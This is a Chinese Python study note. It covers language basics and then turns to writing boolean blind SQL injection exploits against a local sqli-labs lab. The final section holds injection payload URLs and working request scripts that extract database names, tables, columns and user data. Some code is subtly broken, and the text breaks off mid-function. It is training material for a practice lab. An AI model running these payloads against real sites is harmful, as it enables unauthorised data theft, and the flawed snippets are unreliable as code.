Python基础
1、基础
jiaGe = 5; // 定义价格
zhongLiang = 6; // 定义重量
# .format()代入价格、重量,输出jiaGe和zhongLiang
print("苹果的价格:{}元/斤,重量:{}斤".format(jiaGe,zhongLiang));
# 输出
# 苹果的价格:5元/斤,重量:6斤
# sep=""间隔符;end=""不换行输出print(Python3.x版本默认print换行输出)
print(1,2,3,sep=":",end="---Next---");
print(1,2,3,sep="-",end="...");
# 输出
# 1:2:3---Next---1-2-3...
jiaGe = input(); # input()输入的是字符串
zhongLiang = 6;
print("苹果的价格:{}元/斤,重量:{}斤".format(jiaGe,zhongLiang));
print("总价格是{}元".format(jiaGe*zhongLiang));
# 5
# 苹果的价格:5元/斤,重量:6斤
# 总价格是555555元
jiaGe = int(input()); # 使用int()强转类型
zhongLiang = 6;
print("苹果的价格:{}元/斤,重量:{}斤".format(jiaGe,zhongLiang));
print("总价格是{}元".format(jiaGe*zhongLiang));
# 5
# 苹果的价格:5元/斤,重量:6斤
# 总价格是30元
# 输入苹果单价、重量,购买优惠十元,输出总价
jiaGe = int(input("苹果的价格:元/斤"));
zhongLiang = int(input("苹果的重量:斤"));
zongJia = jiaGe*zhongLiang;
zongJia = zongJia -10;
print("苹果的价格:{}元/斤,重量:{}斤".format(jiaGe,zhongLiang));
print("总价格:{}元".format(zongJia));
# 苹果的价格:元/斤5
# 苹果的重量:斤6
# 苹果的价格:5元/斤,重量:6斤
# 总价格:20元
2、数据类型
2.1 内置函数
# int(去小数部分)
num = 3.14
print(int(num)) # 输出3
# round(四舍五入取小数)
# abs(取绝对值)
# pow(取平方)
# hex(十进制转16进制)
# oct(十进制转八进制)
# ord(根据ASCII表,字符转十进制)
# chr(根据ASCII表,十进制转字符)
2.2 字符串切片
# 转义字符
print("Python中的单引号'和双引号\"使用转义字符正常输出")
# 字符串[开始索引:结束索引:步长]
str = 'abcdefghijklmnopqrstuvwxyz'
print(str[0:10:2]) # 输出acegi
# 从左往右数,从0开始
str = 'abcdefghijklmnopqrstuvwxyz'
print(str[0]) # 输出a
# 从右往左数,从-1开始
str = 'abcdefghijklmnopqrstuvwxyz'
print(str[-1]) # 输出z
# 输出连续字符串(包括左边不包括右边)
str = 'abcdefghijklmnopqrstuvwxyz'
# 取前三位
print(str[0:3]) # 输出abc
# 取后三位
print(str[-3:]) # 输出xyz
# 拼接字符串
str = 'abcdefghijklmnopqrstuvwxyz'
print(str[0:3]+str[-3:]) # 输出abcxyz
2.3 字符串常用操作
判断类型
is方法开头大都是做判断类型,返回布尔值
# string.isspace() --> 如果string中只包含空格,返回True
str1 = ''
print(str1.isspace()) # False
str2 = ' '
print(str2.isspace()) # True
查找替换
# string.find()
# str2存在str1中返回开始索引,不存在返回-1
str1 = 'abcdefghijklmnopqrstuvwxyz'
str2 = 'abc'
print(str1.find(str2,0,len(str1))) # 输出0(从第0个开始)
str1 = 'abcdefghijklmnopqrstuvwxyz'
str2 = 'abcxyz'
print(str1.find(str2,0,len(str1))) # 输出-1(不存在)
# string.replace()
# a替换成A,替换一次
str = 'abcadefghijklmnopqrstuvwxyz'
print(str.replace('a','A',1)) # 输出Abcadefghijklmnopqrstuvwxyz
# a替换成A,替换所有
str = 'abcadefghijklmnopqrstuvwxyz'
print(str.replace('a','A',)) # 输出AbcAdefghijklmnopqrstuvwxyz
大小写转换
# str.upper()
str = 'abcadefghijklmnopqrstuvwxyz'
print(str.upper()) # 输出ABCADEFGHIJKLMNOPQRSTUVWXYZ
去除空白字符
# str.strip()
# 去除首位空白字符
str = ' abcadefghijklmnopqrstuvwxyz '
print(str.strip()) #输出abcadefghijklmnopqrstuvwxyz
# 首尾去除指定字符
str = '.abcadefghijklmnopqrstuvwxyz.'
print(str.strip('.')) # 输出abcadefghijklmnopqrstuvwxyz
2.4 列表
跟字符串类似
list = [1,'abc',[2,'xyz']]
print(list[:]) # 输出[1, 'abc', [2, 'xyz']]
增
# list.insert()
# 列表索引1前面插入'xyz'
list = [1,'abc',[2,'xyz']]
list.insert(1,'xyz')
print(list) #输出[1, 'xyz', 'abc', [2, 'xyz']]
# 列表末尾插入3
list = [1,'abc',[2,'xyz']]
list.insert(3,3)
print(list) # 输出[1, 'abc', [2, 'xyz'], 3]
# 或者使用list.append()函数
list = [1,'abc',[2,'xyz']]
list.append(3)
print(list) # 输出[1, 'abc', [2, 'xyz'], 3]
删
# list.remove()函数中写元素
list = [1,'abc',[2,'xyz']]
list.remove('abc')
print(list) # 输出[1, [2, 'xyz']]
改
# 第三个改为3x
list = [1,'abc',[2,'xyz']]
list[2] = "3x"
print(list) # 输出[1, 'abc', '3x']
查
# 查看第二个字符串第一个元素
list = [1,'abc',[2,'xyz']]
print(list[1][0]) # 输出a
统计
# 统计出现次数,只有list[0]被统计
list = [1,'1',[1,'1']]
print(list.count(1)) # 输出1
排序
# list.sort()函数
# 类型不同报错
2.5 元组
元组与列表相似,但是元组不能修改,列表可以修改
# list函数元组转列表
list(元组)
# tuple函数列表转元组
tuple(列表)
2.6 集合
用大括号或者set()函数创建集合
集合基本功能:进行成员关系测试和删除重复元素
注:创建空集合必须要用set()函数,因为{}用于创建字典
2.7 字典
列表是有序对象集合,字典是无序对象集合
用{}定义,键值对使用,分隔
键key是索引,值value是数据,键和值之间用:连接
字典是键值对存放,键名是唯一的,且只能是字符串、数字或元组,键值可以相同,可取任意数据类型
dict = {'name':'Tom','id':1}
print(dict['name']) # 输出Tom
2.8 运算符
面向百度的编程语言
2.9 比较运算符
# =是赋值
# ==是判断是否等于
a += b # a = a + b
# 海象运算符(3.8新增的赋值运算)
2.10 位运算符
& # 按位与运算符
| # 按位或运算符
^ # 按位异或运算符
~ # 按位取反运算符
<< # 左移动运算符
>> # 右移动运算符
2.11 逻辑运算符
and
or
not
2.12 成员运算符
in
not in
2.13 身份运算符
is
is not
2.14 运算符优先级
加括号就完事
3、条件控制与循环
3.1 if语句
每个条件后面使用冒号,后面是满足条件执行的语句块
使用缩进划分语句块,相同缩进的语句组成一个语句块
score = int(input("分数"))
if (score >= 90):
print("优秀")
elif (90 > score >= 80):
print("良好")
elif(score < 80):
print("垃圾")
else:
print("弟弟")
3.2 if嵌套
嵌套时注意缩进
# 案例:石头剪刀布
import random # 引入库
player = int(input("请输入石头(1)/剪刀(2)/布(3)"))
computer = random.randint(1,3) # 使用1-3随机数
if (player == 1 and computer == 2) or (player == 2 and computer == 3) or (player == 3 and computer == 1):
print("You Win")
elif (player == computer):
print("Draw")
else:
print("Computer Win");
# 通过编写函数实现
import random
def Game(player,computer): # def 定义函数的关键字(必须要有) Game 函数名称 player computer 参数(需要赋值)
result = "" # result 返回值
if (player == 1 and computer == 2) or (player == 2 and computer == 3) or (player == 3 and computer == 1):
result = "You Win"
elif (player == computer):
result = "Draw"
else:
result = "Computer Win"
return result
if __name__ == "__main__":
player = int(input("请输入石头(1)/剪刀(2)/布(3):"))
computer = random.randint(1, 3)
print(Game(player,computer))
3.3 for循环
遍历迭代对象(一个列表或者一个字符串)
# 遍历字符串
str = "wobuxiangshangban"
for sname in str:
print(sname)
# for可与else使用
for i in range(0,10):
print(i)
else:
print("end")
# 案例:for循环遍历列表
# 创建水果列表并输出列表中的所有元素
fruits = ['apple','pear','grape','orange','pieapple']
for fruit in fruits:
print("水果有:{}".format(fruit))
# 创建数字列表(方法一)
nums = []
for i in range(1,6):
nums.append(i)
print(nums)
# 创建数字列表(方法二)
nums = [i for i in range(1,6)] # 列表推导式
print(nums)
# 同时输出两个列表元素(方法一)
fruits = ['apple','pear','grape','orange','pieapple']
nums = [i for i in range(1,6)]
for i in range(0,len(fruits)):
print("第{}个水果是{}".format(nums[i],fruits[i]))
# 同时输出两个列表元素(方法二)
fruits = ['apple','pear','grape','orange','pieapple']
nums = [i for i in range(1,6)]
# 双重循环
for num,fruit in zip(nums,fruits): # zip函数
print("第{}个水果是{}".format(num,fruit))
3.4 while循环
i = 0
while i < 10:
print(i)
i += 1
3.5 break语句
i = 0
while True:
i += 1
print(i)
if (i == 10):
break
3.6 continue语句
i = 0
while True:
i += 1
if (i == 10):
break
elif (i % 3 == 0):
continue
else
print(i,end='\t')
# pass不做任何事情,一般用做占位语句
while True:
i += 1
if (i == 10):
break
elif (i % 3 == 0):
pass
else:
print(i,end='\t')
3.7 使用循环创建文件
# 案例:创建文本文档并使用数字命名
for i in range(1,11):
file = open("C:/test/{}.txt".format(i),"w")
file.write("xiaBan") # 写入内容
file.close() # 关闭文件
# 读写模式
r:读取文件,若文件不存在则会报错
w:写入文件,若文件不存在则会先创建再写入,会覆盖原文件
a:写入文件,若文件不存在则会先创建再写入,但不会覆盖原文件,而是追加在文件末尾
rb,wb:分别与r,w类似,但是用于读写二进制文件
r+:可读、可写,文件不存在也会报错,写操作时会覆盖
w+:可读,可写,文件不存在先创建,会覆盖
a+:可读、可写,文件不存在先创建,不会覆盖,追加在末尾
3.8 打印九九乘法表
# 方法一(for正序)
for i in range(1,10):
print()
for j in range(1,10):
if(j > i):
break
print("{}*{}={}".format(i,j,i*j),end="\t")
# 方法二(for倒序)
for i in range(1,10):
print()
for j in range(1,10):
if(j < i):
print(" ",end="\t\t")
continue
print("{}*{}={}".format(i,j,i*j),end="\t")
# 方法三(while正序)
i = 0
while i < 9:
i += 1
print()
j = 0
while j < 9:
j += 1
if(i < j):
break
print("{}*{}={}".format(i, j, i * j), end="\t")
# 方法四(while倒序)
i = 0
while i < 9:
i += 1
print()
j = 0
while j < 9:
j += 1
if(i > j):
print(" ", end="\t\t")
continue
print("{}*{}={}".format(i, j, i * j), end="\t")
# 九九乘法表写入文件
for i in range(1,10):
for j in range(1,10):
if(j > i):
break
file = open("C:/test/1.txt","a+")
file.write("{}*{}={}\t".format(i,j,i*j))
file.write("\n")
file.close()
print("成功写入")
4、Python盲注EXP编写
SQL语句注释补充【sql注入中23%代表什么(#)】
1.url中#和-- (有个空格)表示注释,可以使它们后面的语句不被执行。
在url中,get请求(浏览器中输入的url)解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合(+会被解释成空格)。
2.使用--%20
把空格转换为urlencode编码格式不会报错。同理把#变成%23也不报错。
3.post请求
可以直接使用#来进行闭合。常见的就是表单注入,比如在后台登录框中进行注入。
4.为什么--后面必须要有空格,而#后面就不需要
使用--注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有,sql就是这么规定的
不加空格,--直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。
4.1 通过Python向浏览器发送报文请求数据
# 通过requests库模拟请求报文
# 原生库:import urllib
# 更好用的库:import requests
import requests
url = 'http://127.0.0.1/sqliLabs/Less-8/'
# get方式
headers = {
# 字典形式(键值对)
'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36'
}
req = requests.get(url=url,headers=headers)
# print(type(req)) # <class 'requests.models.Response'>
# print(req.headers) # Respones Headers
# print(req.status_code) # 状态码
# print(req.url) # 请求地址链接
# 常用text查看网站响应信息
# print(req.text) # 网站响应包,Python自动做了处理
# print(req.content) # bytes格式网站响应包,未处理原信息
# # post方式
# data = {}
# requests.post()
4.2 布尔盲注EXP
1)盲注函数:
length() # 返回字符串的长度
substr() # 截取字符串,语法substr(str,start,len),例如substr('abc',1,1)截取a
ascii() # 返回字符的ascii码,将字符变为数字
sleep() # 将程序延时一段时间,如果使用网站的访问量过大,且全都延时100秒,数据库的资源被大量占用,服务器会崩溃
if(expr1,expr2,expr3) # 判断语句,如果第一个语句正确就执行第二个语句,否则执行第三个语句
2)注入语句:
# 拆解当前数据库名称长度
http://x.com/index.php?id=1 and length(database())>1
# 利用ASCII码猜解当前数据库名称
http://x.com/index.php?id=1 and ascii(substr(database(),1,1))>1
# 最好将ascii用括号变为一个整体
http://x.com/index.php?id=1 and (ascii(substr(database(),1,1)))>1
# 猜解表名,子查询建议加括号
http://x.com/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1
# 猜解字段名
http://x.com/index.php?id=1 and (ascii(substr((select column_name from information_schema.columns where table_name='admin' and table_schema=database() limit 0,1),1,1)))>1
# 猜解内容
http://x.com/index.php?id=1 and (ascii(substr((select apple1 from admin limit 0,1),1,1)))>1
# 跑库的长度
import requests
url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
payload = "' and length(database())={} %23"
exp = url + payload
# headers模拟发包信息,打靶可有可无
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36'
}
i = 0
while True:
req = requests.get(url=exp.format(i),headers=headers)
if "You are in..........." in req.text:
print("库的长度:{}".format(i))
break
i += 1
# 优化后(二分法)
import requests
def length_two(exp):
min = 0
max = 128
while True:
if (max-min) > 1:
mid = int((min+max)/2)
else:
mid = max
return mid
req = requests.get(url=exp.format(mid),headers=headers)
if "You are in..........." in req.text:
min = mid
else:
max = mid
if __name__ == '__main__':
url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
payload = "' and length(database())>{} %23"
exp = url + payload
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36'
}
print(length_two(exp))
# 跑库的名字
import requests
url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
payload = "' and ascii(substr(database(),{},1))={} %23"
exp = url + payload
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36'
}
db_name = ''
for j in range(1,9):
for i in range(0,128):
req = requests.get(url=exp.format(j,i),headers=headers)
if "You are in..........." in req.text:
db_name += chr(i)
break
print("库名:{}".format(db_name))
# 优化后(二分法)
import requests
def name_two(length,exp):
name = ''
try:
for i in range(1,length+1):
min = 0
max = 128
while True:
if(max - min > 1):
mid = int((min+max)/2)
else:
mid = max
name += chr(mid)
print(name)
break
html = requests.get(exp.format(i,mid))
if "You are in..........." in html.text:
min = mid
else:
max = mid
except Exception as e:
print(e)
if __name__ == '__ main__':
url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
payload = "' and ascii(substr(database(),{},1))={} %23"
exp = url + payload
name_two(8,exp)
# 二分法综合EXP跑库长和库名
import requests
def length_two(exp):
min = 0
max = 128
while True:
if ((max-min) > 1):
mid = int((min+max)/2)
else:
mid = max
return mid
req = requests.get(url=exp.format(mid),headers=headers)
if "You are in..........." in req.text:
min = mid
else:
max = mid
def name_two(length,exp):
name = ''
try:
for i in range(1,length+1):
min = 0
max = 128
while True:
if (max - min >1):
mid = int((min+max)/2)
else:
mid = max
name += chr(mid)
print(name)
break
req = requests.get(url=exp.format(i,mid),headers=headers)
if "You are in..........." in req.text:
min = mid
else:
max = mid
except Exception as e:
print(e)
if __name__ == '__main__':
url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
payload = "' and ascii(substr(database(),{},1))>{} %23"
exp = url + payload
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36'
}
name_two(8,exp)
Python盲注EXP:
# 布尔盲注EXP参考
import requests
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = f"http://localhost:90/sqli-labs-master/Less-8/?id=1' and length(database())>{i}"
r = requests.get(url + '%23')
if 'You are in' not in r.text:
print('database_length:', i)
return i
#获取数据库名
def database_name(databaselen):
name = ''
for j in range(1, databaselen+1):
for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' and substr(database(),%d,1)='%s'" % (j, i)
#print(url+'%23')
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
break
print('database_name:', name)
# 获取数据库表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
"and substr((select group_concat(table_name) from information_schema.tables " \
"where table_schema=database()),%d,1)='%s'" % (j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
break
print('table_name:', name)
# 获取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
"and substr((select group_concat(column_name) from information_schema.columns where " \
"table_schema=database() and table_name='users'),%d,1)='%s'" % (j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
break
print('column_name:', name)
# 获取username
def username_value():
name = ''
for j in range(1,